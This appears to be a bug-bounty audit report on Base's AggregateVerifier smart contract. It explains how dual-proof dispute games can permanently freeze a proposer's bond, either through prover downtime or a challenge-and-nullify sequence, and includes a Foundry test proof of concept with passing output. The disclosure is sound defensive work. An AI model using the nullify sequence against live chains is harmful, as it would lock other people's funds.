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75296 sc low permanent freezing of dispute game bonds in aggregateverifier on dual proof chains proof threshold 2 due to unreachable claimcredit fallback

Submitted on Apr 28th 2026 at 11:25:00 UTC by @Oxodus for Audit Comp | Base Azul

  • Report ID: #75296
  • Report Type: Smart Contract
  • Report severity: Low
  • Target: https://github.com/base/contracts/tree/v8.1.0/src/multiproof
  • Impacts:
    • Permanent freezing of funds in the bridge or in dispute game bonds with no available recovery path
    • Manipulating dispute game bond mechanics to economically grief proposers or prevent legitimate proposals from being submitted

Description

Brief/Intro

On any chain configured with PROOF_THRESHOLD >= 2 (the documented dual-proof end-state), an AggregateVerifier dispute game that reaches the state proofCount == 1 && block.timestamp > expectedResolution becomes permanently stuck. resolve() reverts forever, claimCredit()'s 14-day rescue path is unreachable, and verifyProposalProof() cannot accept a late proof. The proposer's INIT_BOND is permanently locked in DelayedWETH with no available recovery path. The trigger requires no invalid proof; a single 7-day ZK-prover unavailability is sufficient.

Vulnerability Details

The bug is the interaction of three pieces of contracts/src/multiproof/AggregateVerifier.sol. First, resolve() hard-gates on the proof threshold at line 458, reverting NotEnoughProofs whenever fewer proofs have been accepted than PROOF_THRESHOLD:

if (proofCount < PROOF_THRESHOLD) revert NotEnoughProofs();

Second, _getDelay() at line 815 maps proofCount == 1 to SLOW_FINALIZATION_DELAY (7 days) rather than type(uint64).max; only proofCount == 0 returns the sentinel:

function _getDelay() internal view returns (uint64) {
    if (proofCount >= 2) return FAST_FINALIZATION_DELAY;        // 1 day
    else if (proofCount == 1) return SLOW_FINALIZATION_DELAY;   // 7 days
    else return type(uint64).max;                                // 14-day fallback
}

Third, claimCredit() at lines 613-617 conditions its 14-day rescue branch on expectedResolution == type(uint64).max, otherwise routing to a branch that requires resolvedAt != 0:

if (expectedResolution.raw() != type(uint64).max) {
    if (resolvedAt.raw() == 0) revert GameNotResolved();   // permanent revert
} else {
    if (block.timestamp < createdAt.raw() + 14 days) revert GameNotOver();
}

When proofCount == 1 and PROOF_THRESHOLD == 2, expectedResolution is set to now + 7 days (not uint64.max), so the 14-day fallback is never taken and claimCredit reverts forever. verifyProposalProof() additionally reverts GameOver after expectedResolution (line 423), so a late second proof cannot rescue the game. The author's intent contradicts the implementation: the comment in challenge() at lines 526-530 reads "If the ZK is nullified, we allow the remaining TEE proof to resolve", but the threshold gate prevents exactly that.

The trapped state is reachable via two independent paths. The first is liveness-only with no attacker and no invalid proof: the proposer initializes a game with a valid TEE proof (proofCount = 1, expectedResolution = now + 7 days); the ZK prover fails to submit within the SLOW window for any benign reason (outage, slow proving, witness-fetcher bug, single-blob censorship); after 7 days the game is permanently stuck. The second is a post-nullification scenario: TEE init, then a ZK challenge brings proofCount to 2, then anyone calls nullify(zkProof, idx, originalRoot) with a ZK proof supporting the original root — _proofRefutedUpdate(ZK) drops proofCount back to 1 and additionally flips Verifier.nullified on the shared ZK_VERIFIER contract. Because nullified is a contract-level flag rather than per-game, the same nullification permanently bricks every future dual proof game on the chain that uses that verifier.

Impact Details

  • Per-game loss: the full INIT_BOND (production value set by DisputeGameFactory.setInitBond) is permanently trapped in DelayedWETH. closeGame() requires resolvedAt != 0, and DelayedWETH.unlock is only callable from claimCredit(). No governance recovery path exists currently exists.
  • Liveness collapse: every game whose ZK prover is unavailable for 7+ days reaches the trap state. No adversary required.
  • Systemic brick after a single nullification since Verifier.nullified is contract level, one successful nullification on any clone permanently bricks every future dual proof game on the chain until the verifier is replaced.
  • Recovery would require a AggregateVerifier implementation upgrade and migration of DisputeGameFactory.gameImpls[621]. In-flight bonds in the old implementation are not recovered by the upgrade.

References

  • contracts/src/multiproof/AggregateVerifier.sol
    • resolve() threshold gate — line 458
    • claimCredit() fallback gate — lines 606-634
    • _getDelay() — lines 815-822
    • _increaseExpectedResolution() — lines 800-813
    • verifyProposalProof() GameOver revert — line 423
    • Author-intent comment in challenge() — lines 526-535
  • contracts/src/multiproof/Verifier.sol — nullified is contract-level, not per-game

Proof of Concept

Create a file named BondLockOnDualProof.t.sol and paste the following test

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import { Claim, GameStatus, GameType } from "src/dispute/lib/Types.sol";
import { GameNotResolved } from "src/dispute/lib/Errors.sol";

import { AggregateVerifier } from "src/multiproof/AggregateVerifier.sol";
import { IVerifier } from "interfaces/multiproof/IVerifier.sol";
import { IAnchorStateRegistry } from "interfaces/dispute/IAnchorStateRegistry.sol";
import { IDelayedWETH } from "interfaces/dispute/IDelayedWETH.sol";
import { IDisputeGame } from "interfaces/dispute/IDisputeGame.sol";

import { BaseTest } from "./BaseTest.t.sol";

/// @notice PoC: permanent bond lock in `AggregateVerifier` when `PROOF_THRESHOLD >= 2`.
///         The state `proofCount == 1 AND expectedResolution != uint64.max` is reachable
///         and traps the bond forever: `resolve()` reverts `NotEnoughProofs`,
///         `claimCredit()`'s 14-day fallback is unreachable, and `verifyProposalProof()`
///         reverts `GameOver` after the deadline.
contract BondLockOnDualProof is BaseTest {
    AggregateVerifier internal dualProofImpl;
    GameType internal constant DUAL_PROOF_GAME_TYPE = GameType.wrap(622);

    function setUp() public override {
        super.setUp();
        _deployDualProofImpl();
    }

    function _deployDualProofImpl() internal {
        dualProofImpl = new AggregateVerifier(
            DUAL_PROOF_GAME_TYPE,
            IAnchorStateRegistry(address(anchorStateRegistry)),
            IDelayedWETH(payable(address(delayedWETH))),
            IVerifier(address(teeVerifier)),
            IVerifier(address(zkVerifier)),
            TEE_IMAGE_HASH,
            AggregateVerifier.ZkHashes(ZK_RANGE_HASH, ZK_AGGREGATE_HASH),
            CONFIG_HASH,
            L2_CHAIN_ID,
            BLOCK_INTERVAL,
            INTERMEDIATE_BLOCK_INTERVAL,
            2 // PROOF_THRESHOLD
        );
        factory.setImplementation(DUAL_PROOF_GAME_TYPE, IDisputeGame(address(dualProofImpl)));
        factory.setInitBond(DUAL_PROOF_GAME_TYPE, INIT_BOND);
        anchorStateRegistry.setRespectedGameType(DUAL_PROOF_GAME_TYPE);
    }

    function _createDualProofGame(
        address creator,
        Claim rootClaim,
        uint256 l2BlockNumber,
        bytes memory proof
    )
        internal
        returns (AggregateVerifier game)
    {
        bytes memory intermediateRoots =
            abi.encodePacked(_generateIntermediateRootsExceptLast(l2BlockNumber), rootClaim.raw());
        bytes memory extraData =
            abi.encodePacked(uint256(l2BlockNumber), address(anchorStateRegistry), intermediateRoots);

        vm.deal(creator, INIT_BOND);
        vm.prank(creator);
        return AggregateVerifier(
            address(
                factory.createWithInitData{ value: INIT_BOND }(
                    DUAL_PROOF_GAME_TYPE, rootClaim, extraData, proof
                )
            )
        );
    }

    /// @notice Liveness-only: ZK prover never submits within the SLOW window.
    function test_LivenessOnly_BondLocked() public {
        currentL2BlockNumber += BLOCK_INTERVAL;

        Claim rootA = Claim.wrap(keccak256(abi.encode(currentL2BlockNumber, "tee-only")));
        bytes memory teeProof = _generateProof("tee-only", AggregateVerifier.ProofType.TEE);

        AggregateVerifier game = _createDualProofGame(TEE_PROVER, rootA, currentL2BlockNumber, teeProof);

        assertEq(game.proofCount(), 1);
        assertTrue(game.expectedResolution().raw() != type(uint64).max);

        vm.warp(block.timestamp + 7 days + 1);
        assertTrue(game.gameOver());

        bytes memory zkProofLate = _generateProof("zk-late", AggregateVerifier.ProofType.ZK);
        vm.expectRevert(AggregateVerifier.GameOver.selector);
        vm.prank(ZK_PROVER);
        game.verifyProposalProof(zkProofLate);

        vm.expectRevert(AggregateVerifier.NotEnoughProofs.selector);
        game.resolve();

        vm.warp(block.timestamp + 14 days);

        vm.expectRevert(GameNotResolved.selector);
        game.claimCredit();

        vm.expectRevert(AggregateVerifier.NotEnoughProofs.selector);
        game.resolve();

        // Even after a year, both still revert.
        vm.warp(block.timestamp + 365 days);
        vm.expectRevert(GameNotResolved.selector);
        game.claimCredit();
        vm.expectRevert(AggregateVerifier.NotEnoughProofs.selector);
        game.resolve();

        assertEq(delayedWETH.balanceOf(address(game)), INIT_BOND);
    }

    /// @notice Post-nullify: challenge + ZK nullify drops proofCount to 1
    ///         and globally bricks the ZK verifier.
    function test_NullifyTraps() public {
        currentL2BlockNumber += BLOCK_INTERVAL;

        Claim rootA = Claim.wrap(keccak256(abi.encode(currentL2BlockNumber, "A")));
        bytes memory teeProof = _generateProof("tee-A", AggregateVerifier.ProofType.TEE);
        AggregateVerifier game = _createDualProofGame(TEE_PROVER, rootA, currentL2BlockNumber, teeProof);

        Claim contraRoot = Claim.wrap(keccak256(abi.encode(currentL2BlockNumber, "contra")));
        bytes memory zkChallenge = _generateProof("zk-challenge", AggregateVerifier.ProofType.ZK);
        vm.prank(ATTACKER);
        game.challenge(zkChallenge, BLOCK_INTERVAL / INTERMEDIATE_BLOCK_INTERVAL - 1, contraRoot.raw());
        assertEq(game.proofCount(), 2);

        bytes memory zkNullify = _generateProof("zk-nullify", AggregateVerifier.ProofType.ZK);
        game.nullify(zkNullify, BLOCK_INTERVAL / INTERMEDIATE_BLOCK_INTERVAL - 1, rootA.raw());

        assertEq(game.proofCount(), 1);
        assertEq(zkVerifier.nullified(), true);
        assertTrue(game.expectedResolution().raw() != type(uint64).max);

        vm.warp(block.timestamp + 7 days + 1);

        vm.expectRevert(AggregateVerifier.NotEnoughProofs.selector);
        game.resolve();

        bytes memory zkLate = _generateProof("zk-late", AggregateVerifier.ProofType.ZK);
        vm.expectRevert(AggregateVerifier.GameOver.selector);
        vm.prank(ZK_PROVER);
        game.verifyProposalProof(zkLate);

        vm.warp(block.timestamp + 14 days);
        vm.expectRevert(GameNotResolved.selector);
        game.claimCredit();
    }

    /// @notice Sanity baseline: same flow with PROOF_THRESHOLD == 1 resolves cleanly.
    function test_SingleProofDoesNotTrap() public {
        currentL2BlockNumber += BLOCK_INTERVAL;
        Claim root = Claim.wrap(keccak256(abi.encode(currentL2BlockNumber, "single")));
        bytes memory teeProof = _generateProof("tee-single", AggregateVerifier.ProofType.TEE);

        AggregateVerifier game = _createAggregateVerifierGame(
            TEE_PROVER, root, currentL2BlockNumber, address(anchorStateRegistry), teeProof
        );

        vm.warp(block.timestamp + 7 days);
        game.resolve();
        assertEq(uint8(game.status()), uint8(GameStatus.DEFENDER_WINS));

        uint256 balanceBefore = TEE_PROVER.balance;
        game.claimCredit();
        vm.warp(block.timestamp + DELAYED_WETH_DELAY);
        game.claimCredit();
        assertEq(TEE_PROVER.balance, balanceBefore + INIT_BOND);
    }
}

Run the command

forge test --match-path "test/multiproof/BondLockOnDualProof.t.sol" -vvv

The test successfully runs with the following output

Solc 0.8.15 finished in 1.67s
Compiler run successful!

Ran 3 tests for test/multiproof/BondLockOnDualProof.t.sol:BondLockOnDualProof
[PASS] test_LivenessOnly_BondLocked() (gas: 573123)
[PASS] test_NullifyTraps() (gas: 638773)
[PASS] test_SingleProofDoesNotTrap() (gas: 594264)
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 1.66ms (655.63µs CPU time)